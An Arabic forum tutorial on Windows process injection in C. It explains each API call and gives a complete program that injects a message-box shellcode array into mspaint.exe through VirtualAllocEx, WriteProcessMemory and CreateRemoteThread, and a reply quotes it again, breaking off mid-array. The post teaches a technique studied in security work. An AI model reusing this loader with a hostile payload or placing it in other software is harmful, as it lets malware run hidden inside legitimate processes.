مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

حقن العمليات باستخدام لغة سي | Process Injection With C language

Ahmad

.:: اداري سابق ::.
.:: اداري سابق ::.

السمعة:

Process Injection

الفيديو على اليوتيوب :



الموضوع كتابياً :
بدنا نشرح عن حقن البروسيس هذا مبدئيا رح تتعلموا بس لازم يكون عندك أكثر من اشي توخذه عشان تتعلم تفهم مثلًا البروسيس كلها إذا بدك توخذ نصيحتي قبل ما أبدًا روح ادرسها وتعال أنا شرحتها في أحد الفيديوهات عندي لأنه في نوعين من الناس الي بدها تتعلم جد والناس الي بدها تسوي اشي وخلص مش مهم فاهميته ولا لا لانه للاسف في عالمنا الكل فاهم بكل شي في ناس بتقول وين الاكواد الاكواد كلها بسيرفر الدسكورد في قسم لغة السي وانا قلت لك روح تعلمها ليش لانو للاسف حاليا في الواقع بطلت الناس تقرأ وتتعلم بس بتضيع وقت حتى للاسف اذا في ناس قرأت ما بتفهم اصلا اذا بدك تتعلم موجود كل شي بفلوس وبدون فلوس الي بدو يستفاد حياك الله عندي ولي بدور غير هيك ببنده لانو انا بحاول اجمع المجتمع الي فعلا بدو يتعلم هدفي مش تجاري بحت وان شاء الله تستفيد من الي قاعد بشرحه ما علينا

شرح ال VirtualMemory :



شرح ال process :



ما هو حقن العمليه : تقنيه عشان تخفي رمز البرنامج كيف بتحط الاكواد الي بدها تنفذها في عمليه معينه عشان ينفذها خارج مساحة العملية الي بشتغل عليها بحيث مثلا عندو عملية اسمها “صقندر” بدو ينفذ اكواد في عملية النوت باد او اي عمليه ثانيه

  1. اول اشي بدنا نجهز الشيل كود​
  2. ثاني اشي بدنا نعثر على العمليه اذا موجوده في الذاكره عشان نحقنها​
ما هو ال shellcode : شيل كود (Shellcode) هو عبارة عن مجموعة من الأوامر الثنائية (بايتات) تم تصميمها بشكل خاص للاستفادة من ثغرات في برمجيات الكمبيوتر وأنظمة التشغيل. يتم استخدام شيل كود في الغالب في عمليات اختراق الأنظمة والاستيلاء على التحكم عن بعد في الأجهزة أو الخوادم.

الكود الخاص بنا :
1.اول اشي عنا البايلود زي ما قلنا في الفيديو الي قبل احنا خزناه كـ مصفوفه عشان تكون البيانات هاي او الاكواد هاي تكون جنب بعض في الميموري مش كل وحده في مكان ثاني هو اه بتقدر تسوي هيك وتجمعها اخر اشي لكن قصه طويله بتقدر تخزنها في انواع بيانات اخرى انت حر مثل لينكد ليست او اي اشي مثل هذا النموذج لاكن استخدمنا هاي لانو الكل بعرفها هي اول نوع بيانات بتتعلمه
2.ثاني اشي جبنا طول هذا الشيل كود ليش عشان بدنا طوله عشان لما نيجي نخزنه في الميموري نكون عارفين طوله عشان نخزن عشان ما نيجي نخزن اقل منه وما راح يشتغل عشان ما راح ينحط كله او يكون اكثر منه وتكون مساحة مال امها داعي انا جبته بهاي الطريقه انت حر جيبه زي ما بدك
3.راح نسوي API تبحث عن البروسيس الي بدنا نحقن فيها في الميموري

API تبحث عن البروسيس تكون بهذا الشكل
كود:
int findtarget(const char *processName) { //اول اشئ اخذ باراميتر ليش عشان نحط اسم البروسيس الي راح يبحث عليها الي هي نوتباند او اي عمليه انت بدك تحقن فيها هاض الموضوع بعتمد على هدفك[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]
//عرفنا ثلاث متغيرات

        HANDLE hSnapshotOfProcesses; // SnapShot : خزناه عشان بدنا نحط اي بي اي معينه فيه عشان نوخذ لقطه من البروسيس كلها
        PROCESSENTRY32 processStruct; //Processtruct : هيكل العمليه عشان نقدر نتحقق من هاي العمليه معرف العمليه الخاص فيها هو نفسه او الاسم وطول هاي البروسيس الخ
        int pid = 0; // Pid :  عشان نجيب معرف رقم هاي العمليه عشان العمليه بتتعرف عليها من رقمها

            
        hSnapshotOfProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // الـ API هاي الي اخذناها عشان توخذ لقطه من كل البروسيسيز الموجوده
//الداتا تايب الخاص فيها هندل عشان هيك عرفنا المتغير على انو هندل عشان يقدر يحمل القيمة الي يتم التعبير عنها كـ هندل
//بوخذ اثنين براميترز
DWORD dwFlags : بعتمد انو شو الـ اي بي اي ممكن تساوي عشان قلنا لو سناب بروسيس يعني شو بدنا يشمل تسوي سناب على كل البروسيس والثريدز وكلشئ
DWORD th32ProcessID : معرف العمليه الي بدنا بدنا اياها انكلود احنا حطينا صفر عشان تبين تشير الى العمليه الحاليه هاي
//MSDN : https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot

        if (INVALID_HANDLE_VALUE == hSnapshotOfProcesses) return 0;
            
        processStruct.dwSize = sizeof(PROCESSENTRY32);
            
//هون ساوينا لوب عن طريق وايل بحيث بوخذ Process32Next اثنين براميترز ال هي

//وظيفة هاي العمليه تجيب معلومات من البروسيس التاليه عن طريق السناب شوت الي اخذناه

        while (Process32Next(hSnapshotOfProcesses, &processStruct)) {
                if (strcmp(processName, processStruct.szExeFile) == 0) { //بعدين ساوينا شرط اذا كان بساوي عن طريق المقارنه اسم البروسيس خزن معرف العمليه في الفاريبل وهاض احنا بنكون جبنا العمليه

                        pid = processStruct.th32ProcessID;
                        break;
                }
        }
            
        CloseHandle(hSnapshotOfProcesses);
            
        return pid;
}


كود:
//بوخذ 3 ارقيمينت شو يعني الاولى[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]// HANDLE hProcess : البروسيس المستهدف بدنا نوخذ منو الهندل الخاص فيو عشان نعرف نحقن فيو اي بروسيس بدنا اياه يعني اذا ما عندك الهندل تاع البروسيس او اي اشي بتقدر تعرف البروسيس من خلالو كيف بدك تعرف
//ShellCode Payload : البايلود الخاص فينا على هيئه شيل كود عشان نقدر انفذه في الميموري على راحتنا
//Len shellcode : مساحة الشيل كود عشان نعرف كم المساحه الي بنحتاجها في الميموري عشان نخزن هل شيل كود تاعنا ونقدر انفذه بدون اي اشكال

int shellcodeinjection(HANDLE hProcess, unsigned char * shellcodePayload, unsigned int lengthOfShellcodePayload) {

//خلصنا وطلع قدامنا اثنين براميترز

        LPVOID pRemoteProcAllocMem = NULL; // للبروسيس بوخذ بوينتر فويد
        HANDLE hThread = NULL; // للثريد وبوخذ هندل

  //pRemoteProcAllocMem : وهون بدنا نخصص مساحه للشيل كود في البروسيس المستهدف عشان ننفذ التعليمات الي راح نخزنها استخدامنا اي بي اي فيرتشوال الوك ريموت ليش ريموت عشان احنا بدنا نخزنها خارج هاي العمليه واذا بدنا نخزنها خارج العمليه اخذنا احنا هندل ما علينا
//VirtualAllocEx : بنقدر نخزن من خلالها في الميموري في الفيرتول ميموري ادريس نخزن فيها الشيل كود الخاص فينا فيها 5 براميترز هسا راح نشرحها
//HANDLE hProcess : احنا جبنا الهندل راح نحطه في هاي الداتا تايب عشان نقول لهاي ال اي بي اي بدنا نخصص الذاكره في هاي العمليه
//LPVOID lpaddress : هاي اوبشينال مش راح اشرحها لكن زي ما تقول تحدد وين يبدا التخصيص في اي عنوان لكن احنا خليناها نل عشان يخلي نظام التشغيل يتعامل لحالو ويخزن عكيفو
//Dwsize : حجم المساحه الي بدنا نخزنها بالبايت بتكون احنا جبناها
//flAllocationType : نوع الي بدنا نخصصو في الذاكره شو يكون نوعها احنا حطينا الاساسيات
//.MEM_COMMIT : احنا اغلب هاي الاشياء اصلا شرحناها في الفيديو الماضي لكن لما البروسيس تطلب من الويندوز تخصيص لذاكره معينه الميموري مانجر بخصص بتكون فيرتول ميموريلكن هون بنحدد انها تفوت على فيزيكلميموري يعني تكون الذاكره هاي موجوده وبتقدر تنفذها
//.MEM_RESERVE : بتحجز من مساحه الفيرتول ميموري ادريسمن دون تخصيص في الفيزيكل بخزنها في الميموري عشان النظام يحدد المساحة الي راح يخزنها في الميوري فيرتول
//flProtect : بتحدد المزايا الي بتمتع فيها احنا حطيناها تقرأ وتنفذ

        pRemoteProcAllocMem = VirtualAllocEx(hProcess, NULL, lengthOfShellcodePayload, MEM_COMMIT, PAGE_EXECUTE_READ);

//WriteProcessMemory  API : هاي ال اي بي اي بتسمح لك تكتب بيانات معينه في الذاكره
//hProcess : اول اشي بتوخذ البروسيس هندل عشان نعرف على اي عمليه بدنا نكتب
//lpBaseAddress : المكان الي بدنا نكتب عليه
//lpBuffer :مكان ال البفر الي فيو البيانات الخاصة فيه عشان يبدا يكتبها
//nSize : المساحة


        WriteProcessMemory(hProcess, pRemoteProcAllocMem, (PVOID)shellcodePayload, (SIZE_T)lengthOfShellcodePayload, (SIZE_T *)NULL);
    


//CreateRemoteThread : نفس فكرة انك تسوي كريت ثريد لكن هاي لعمليه ثانيه ريموت فيها
//hProcess : هندل للبروسيس الي بدنا نفتح عليها ثريد
//LPSECURITY : هون الها علاقة في الامن لكن هون بتحدد اذا هاض الهندل قابل لتوريث ولا لا احنا حطينا نل (Null) يعني غير قابل لتوريث والحمايه الخاصة فيه بتيجي من النظام افتراضيا
//Dwstacksize : الحجم الاولي للستاك بتقدر تحطه او لا حطيناه صفر يعني خليه ديفولت سايز
//Lpstartaddress : المكان الي بدنا ننفذخ من خلال هاي الثريد احنا حطينا الادريس ( العنوان ) تاع الفيرتشوال ميموري عشان هو مكان اللي في شيل كود عشان يتنفذ
//lpParameters : هون اذا بدك تحط لذا الشيء براميترز ، احنا لأ لأنه كل شي جاهز عنا
//dwCreationFlags : هون بكون الفلاقز كونترول حاطينها صفر مش محتاجين مثلا تكون سسبيند معلقه حالتها على سبيل المثال حطينها صفر يعني على طول نفذي
//lpThreadId : بوخذ بوينتر على الثريد مش محتاجينها

        hThread = CreateRemoteThread(hProcess, NULL, 0, pRemoteProcAllocMem, NULL, 0, NULL);
        if (hThread != NULL) {
//WaitForSingleObject : بتسمح للثريد تنتظر حتى يتم الاشاره على ستيت سنقل اوبجيكت
//hHandle : الهاندل للاوبجيكت عشان يجيب ليست بانواع الاوبجيكتس الي بتحدد الهاندل تاعها
//dwMilliseconds : الفاصل الزمني احنا حطيناه -1 عشان تكون انفينتي مالا نهايه حتى يتم الاشاره الى السنقل اوبجيت

                WaitForSingleObject(hThread, -1);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


‼️ ملاحظة أخيره ‼️
شغال لكن من ناحيه السرعه ف هو ما براعي ال analysis or CPE etc… لانو الكود مأخوذ من github هذا الشي الاول، الشي الثاني الكود بتقدر تعدل عليه وتوخذ الفكره وممكن اذا انت شاطر في البرمجه تخلي يراعي ال CPE وتحط عليه كم خوارزميات وكم Automation ومع شوية امتيازات الخ

الكود كامل :
كود:
[/SIZE][/CENTER][/SIZE][/CENTER]
[SIZE=5][CENTER][SIZE=5][CENTER]#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// 64-bit shellcode to display messagebox
unsigned char shellcodePayload[337] = {
    0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00,
    0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65,
    0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52, 0x18, 0x3E, 0x48, 0x8B,
    0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
    0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02,
    0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52,
    0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x8B, 0x42, 0x3C, 0x48,
    0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
    0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E,
    0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31,
    0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
    0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6,
    0x58, 0x3E, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41,
    0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x3E,
    0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
    0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20,
    0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12,
    0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x49, 0xC7, 0xC1, 0x40, 0x00, 0x00,
    0x00, 0x3E, 0x48, 0x8D, 0x95, 0x1A, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
    0x85, 0x3A, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83,
    0x56, 0x07, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6,
    0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C,
    0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
    0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x48, 0x65, 0x6C, 0x6C, 0x6F,
    0x2C, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x63, 0x72, 0x61, 0x63, 0x6B,
    0x69, 0x6E, 0x67, 0x6C, 0x65, 0x73, 0x73, 0x6F, 0x6E, 0x73, 0x2E, 0x63,
    0x6F, 0x6D, 0x00, 0x53, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65,
    0x00
};
unsigned int lengthOfShellcodePayload = 337;


int SearchForProcess(const char *processName) {

        HANDLE hSnapshotOfProcesses;
        PROCESSENTRY32 processStruct;
        int pid = 0;
            
        hSnapshotOfProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hSnapshotOfProcesses) return 0;
            
        processStruct.dwSize = sizeof(PROCESSENTRY32);
            
        if (!Process32First(hSnapshotOfProcesses, &processStruct)) {
                CloseHandle(hSnapshotOfProcesses);
                return 0;
        }
            
        while (Process32Next(hSnapshotOfProcesses, &processStruct)) {
                if (lstrcmpiA(processName, processStruct.szExeFile) == 0) {
                        pid = processStruct.th32ProcessID;
                        break;
                }
        }
            
        CloseHandle(hSnapshotOfProcesses);
            
        return pid;
}


int ShellcodeInject(HANDLE hProcess, unsigned char * shellcodePayload, unsigned int lengthOfShellcodePayload) {

        LPVOID pRemoteProcAllocMem = NULL;
        HANDLE hThread = NULL;


        pRemoteProcAllocMem = VirtualAllocEx(hProcess, NULL, lengthOfShellcodePayload, MEM_COMMIT, PAGE_EXECUTE_READ);
        WriteProcessMemory(hProcess, pRemoteProcAllocMem, (PVOID)shellcodePayload, (SIZE_T)lengthOfShellcodePayload, (SIZE_T *)NULL);
    
        hThread = CreateRemoteThread(hProcess, NULL, 0, pRemoteProcAllocMem, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


int main(void) {

    int pid = 0;
    HANDLE hProcess = NULL;

    pid = SearchForProcess("mspaint.exe");

    if (pid) {
        printf("mspaint.exe PID = %d\n", pid);

        // try to open target process
        hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
                        PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
                        FALSE, (DWORD) pid);

        if (hProcess != NULL) {
            ShellcodeInject(hProcess, shellcodePayload, lengthOfShellcodePayload);
            CloseHandle(hProcess);
        }
    }
    return 0;
}


مصادر :






 
التعديل الأخير بواسطة المشرف:
جميل جدا ربنا يوفقك
 
  • Like
التفاعلات: Ahmad
جميل جدا ربنا يوفقك
Process Injection
الفيديو على اليوتيوب :

الموضوع كتابيا :
بدنا نشرح عن حقن البروسيس هاض مبدئيا راح تتعلمو بس لازم يكون عندك اكثر من اشئ توخذو عشان تتعلم تفهم مثلا البروسيس كلها اذا بدك توخذ نصيحتي قبل ما ابدا روح ادرسها وتعال انا شرحتها في احد الفيديوهات عندي لانو في نوعين من الناس الي بدها تتعلم جد والناس الي بدها تسوي اشئ وخلص مش مهم فاهميتو ولا لا لانو للاسف في عالمنا الكل فاهم بكلشئ في ناس بتقول وين الاكواد الاكواد كلها بسيرفر الدسكورد في قسم لغة السي وانا قلت لك روح تعلمها ليش لانو للاسف حاليا في الواقع بطلت الناس تقرأ وتتعلم بس بتضيع وقت حتى للاسف اذا في ناس قرأت ما بتفهم اصلا اذا بدك تتعلم موجود كلشئ بفلوس وبدون فلوس الي بدو يستفاد حياك الله عندي ولي بدور غير هيك ببندو لانو انا بحاول اجمع المجتمع الي فعلا بدو يتعلم هدفي مش تجاري بحت وان شاء الله تستفاد من الي قاعد بشرحو ما علينا
شرح ال VirtualMemory :



شرح ال process :



ما هو حقن العمليه : تقنيه عشان تخفي رمز البرنامج كيف بتحط الاكواد الي بدها تنفذها في عمليه معينه عشان ينفذها خارج مساحة العملية الي بشتغل عليها بحيث مثلا عندو عملية اسمها “صقندر” بدو ينفذ اكواد في عملية النوتباد او اي عمليه ثانيه
  1. اول اشئ بدنا نجهز الشيل كود
  2. ثاني اشئ بدنا نعثر على العمليه اذا موجوده في الذاكره عشان نحقنها
ما هو ال shellcode : شيل كود (Shellcode) هو عبارة عن مجموعة من الأوامر الثنائية (بايتات) تم تصميمها بشكل خاص للاستفادة من ثغرات في برمجيات الكمبيوتر وأنظمة التشغيل. يتم استخدام شيل كود في الغالب في عمليات اختراق الأنظمة والاستيلاء على التحكم عن بعد في الأجهزة أو الخوادم.

الكود الخاص بنا :
1.اول اشئ عنا البايلود زي ما قلنا في الفيديو الي قبل احنا خزناه كـ مصفوفه عشان تكون البيانات هاي او الاكواد هاي تكون جنب بعض في الميموري مش كل وحده في مكان ثاني هو اه بتقدر تسوي هيك وتجمعها اخر اشئ لكن قصه طرمه بتقدر تخزها في انواع بيانات اخرى انتا حر مثل لينكد ليست او اي اشئ مثل هاض النموذج لكن استخدمنا هاي لانو الكل بعرفها هي اول نوع بيانات بتتعلمو
2.ثاني اشئ جبنا طول هاض الشيل كود ليش عشان بدنا طولو عشان لما نيجي نخزنو في الميموري نكون عارفين طولو عشان نخزن عشان ما نيجي نخزن اقل منو وما راح يشتغل عشان ما راح ينحط كلو او يكون اكثر منو وتكون مساحه مال امها داعي انا جبتو بهاي الطريقه انتا حر جيبو زي ما بدك
3.راح نسوي API تبحث عن البروسيس الي بدنا نحقن فيها في الميموري

API تبحث عن البروسيس تكون بهذا الشكل
كود:
int findtarget(const char *processName) { //اول اشئ اخذ باراميتر ليش عشان نحط اسم البروسيس الي راح يبحث عليها الي هي نوتباند او اي عمليه انتا بدك تحقن فيها هاض الموضوع بعتمد على هدفك

//عرفنا ثلاث متغيرات

        HANDLE hSnapshotOfProcesses; // SnapShot : خزناه عشان بدنا نحط اي بي اي معينه فيو عشان نوخذ لقطه من البروسيس كلها
        PROCESSENTRY32 processStruct; //Processtruct : هيكل العمليه عشان نقدر نتحقق من هاي العمليه معرف العمليه الخاص فيها هو نفسو او الاسم وطول هاي البروسيس الخ
        int pid = 0; // Pid :  عشان نجيب معرف رقم هاي العمليه عشان العمليه بتتعرف عليها من رقمها

               
        hSnapshotOfProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // الـ API هاي الي اخذناها عشان توخذ لقطه من كل البروسيسيز الموجوده
//الداتا تايب الخاص فيها هندل عشان هيك عرفنا المتغير على انو هندل عشان يقدر يحمل القيمه الي يتم التعبير عنها كـ هندل
//بوخذ اثنين براميترز
DWORD dwFlags : بعتمد انو شو الـ اي بي اي ممكن تساوي عشانا قلنا لو سناب بروسيس يعني شو بدنا يشمل تسوي سناب على كل البروسيس والثريدز وكلشئ
DWORD th32ProcessID : معرف العمليه الي بدنا بدنا اياها انكلود احنا حطينا صفر عشان تبين تشير الى العمليه الحاليه هاي
//MSDN : https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot

        if (INVALID_HANDLE_VALUE == hSnapshotOfProcesses) return 0;
               
        processStruct.dwSize = sizeof(PROCESSENTRY32);
               
//هون ساوينا لوب عن طريق وايل بحيث بوخذ Process32Next اثنين براميترز ال هي

//وظيفة هاي العمليه تجيب معلومات من البروسيس التاليه عن طريق السناب شوت الي اخذناه

        while (Process32Next(hSnapshotOfProcesses, &processStruct)) {
                if (strcmp(processName, processStruct.szExeFile) == 0) { //بعدين ساوينا شرط اذا كان بساوي عن طريق المقارنه اسم البروسيس خزن معرف العمليه في الفاريبل وهاض احنا بنكون جبنا العمليه

                        pid = processStruct.th32ProcessID;
                        break;
                }
        }
               
        CloseHandle(hSnapshotOfProcesses);
               
        return pid;
}
كود:
//بوخذ 3 ارقيمينت شو يعني الاولى
// HANDLE hProcess : البروسيس المستهدف بدنا نوخذ منو الهندل الخاص فيو عشان نعرف نحقن فيو اي بروسيس بدنا اياه يعني اذا ما عندك الهندل تاع البروسيس او اي اشئ بتقدر تعرف البروسيس من خلالو كيف بدك تعرف
//ShellCode Payload : البايلود الخاص فينا على هيئه شيل كود عشان نقدر انفذو في الميموري على راحتنا
//Len shellcode : مساحة الشيل كود عشان نعرف كم المساحه الي بنحتاجها في الميموري عشان نخزن هل شيل كود تاعنا ونقدر انفذو بدون اي اشكال

int shellcodeinjection(HANDLE hProcess, unsigned char * shellcodePayload, unsigned int lengthOfShellcodePayload) {

//خلصنا وطلع قدامنا اثنين براميترز

        LPVOID pRemoteProcAllocMem = NULL; // للبروسيس بوخذ بوينتر فويد
        HANDLE hThread = NULL; // للثريد وبوخذ هندل

  //pRemoteProcAllocMem : وهون بدنا نخصص مساحه للشيل كود في البروسيس المستهدف عشان ننفذ التعليمات الي راح نخزنها استخدامنا اي بي اي فيرتول الوك ريموت ليش ريموت عشان احنا بدنا نخزنها خارج هاي العمليه واذا بدنا نخزنها خارج العمليه اخذنا احنا هندل ما علينا
//VirtualAllocEx : بنقدر نخزن من خلالها في الميموري في الفيرتول ميموري ادريس نخزن فيها الشيل كود الخاص فينا فيها 5 براميترز هسا راح نشرحها
//HANDLE hProcess : احنا جبنا الهندل راح نحطو في هاي الداتا تايب عشان نقول لهاي ال اي بي اي بدنا نخصص الذاكره في هاي العمليه
//LPVOID lpaddress : هاي اوبشينال مش راح اشرحها لكن زي ما تقول تحدد وين يبدا التخصيص في اي عنوان لكن احنا خليناها نل عشان يخلي نظام التشغيل يتعامل لحالو ويخزن عكيفو
//Dwsize : حجم المساحه الي بدنا نخزنها بالبايت بتكون احنا جبناها
//flAllocationType : نوع الي بدنا نخصصو في الذاكره شو يكون نوعها احنا حطينا الاساسيات
//.MEM_COMMIT : احنا اغلب هاي الاشياء اصلا شرحناها في الفيديو الماضي لكن لما البروسيس تطلب من الويندوز تخصيص لذاكره معينه الميموري مانجر بخصص بتكون فيرتول ميموريلكن هون بنحدد انها تفوت على فيزيكلميموري يعني تكون الذاكره هاي موجوده وبتقدر تنفذها
//.MEM_RESERVE : بتحجز من مساحه الفيرتول ميموري ادريسمن دون تخصيص في الفيزيكل بخزنها في الميموري عشان النظام يحدد المساحة الي راح يخزنها في الميوري فيرتول
//flProtect : بتحدد المزايا الي بتمتع فيها احنا حطيناها تقرأ وتنفذ

        pRemoteProcAllocMem = VirtualAllocEx(hProcess, NULL, lengthOfShellcodePayload, MEM_COMMIT, PAGE_EXECUTE_READ);

//WriteProcessMemory  API : هاي ال اي بي اي بتسمح لك تكتب بيانات معينه في الذاكره
//hProcess : اول اشئ بتوخذ البروسيس هندل عشان نعرف على اي عمليه بدنا نكتب
//lpBaseAddress : المكان الي بدنا نكتب عليه
//lpBuffer :مكان ال البفر الي فيو البيانات تاعيتو عشان يبدا يكتبها
//nSize : المساحة


        WriteProcessMemory(hProcess, pRemoteProcAllocMem, (PVOID)shellcodePayload, (SIZE_T)lengthOfShellcodePayload, (SIZE_T *)NULL);
       


//CreateRemoteThread : نفس فكرة انك تسوي كريت ثريد لكن هاي لعمليه ثانيه ريموت فيها
//hProcess : هندل للبروسيس الي بدنا نفتح عليها ثريد
//LPSECURITY : هون الها علاقة في الامن لكن هون بتحدد اذا هاض الهندل قابل لتوريث ولا لا احنا حطينا نل يعني غير قابل لتوريث والحمايه تاعيتو بتيجي من النظام افتراضيا
//Dwstacksize : الحجم الاولي للستاك بتقدر تحطو او لا حطيناه صفر يعني خليه ديفوت سايز
//Lpstartaddress : المكان الي بدنا انفذو من خلال هاي الثريد احنا حطينا ادريس تاع الفيرتول ميموري عشان هو مكان الي في شيل كود عشان يتنفذ
//lpParameters : هون اذا بدك تحط لهاض الاشئ براميترز احنا لا كلشئ جاهز عنا
//dwCreationFlags : هون بكون الفلاقز كونترول حاطينها صفر مش محتاجين مثلا تكون سسبيند معلقه حالتها على سبيل المثال حطينها صفر يعني على طول نفذي
//lpThreadId : بوخذ بوينتر على الثريد مش محتاجينها

        hThread = CreateRemoteThread(hProcess, NULL, 0, pRemoteProcAllocMem, NULL, 0, NULL);
        if (hThread != NULL) {
//WaitForSingleObject : بتسمح للثريد تنتظر حتى يتم الاشاره على ستيت سنقل اوبجيكت
//hHandle : الهندل للاوبجيكت عشان يجيب ليست بانواع الاوبجيكتس الي بتحدد الهندل تاعها
//dwMilliseconds : الفاصل الزمني احنا حطيناه -1 عشان تكون انفينتي مالا نهايه حتى يتم الاشاره الى السنقل اوبجيت

                WaitForSingleObject(hThread, -1);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}
ملاحظة اخيره الكود شغال لكن من ناحيه السرعه فا هو ما براعي ال analysis or CPE etc… لانو الكود ماخوذ من github هاض الاشئ الاول الاشئ الثاني الكود بتقدر تعدل عليه وتوخذ الفكره وممكن اذا انتا شاطر في البرمجه تخلي يراعي ال CPE وتحط عليه كم خوارزميات وكم Automation ومع شوية امتيازات الخ

الكود كامل :
كود:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// 64-bit shellcode to display messagebox
unsigned char shellcodePayload[337] = {
    0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00,
    0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65,
    0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52, 0x18, 0x3E, 0x48, 0x8B,
    0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
    0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02,
    0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52,
    0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x8B, 0x42, 0x3C, 0x48,
    0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
    0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E,
    0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31,
    0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
    0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6,
    0x58, 0x3E, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41,
    0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x3E,
    0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
    0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20,
    0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12,
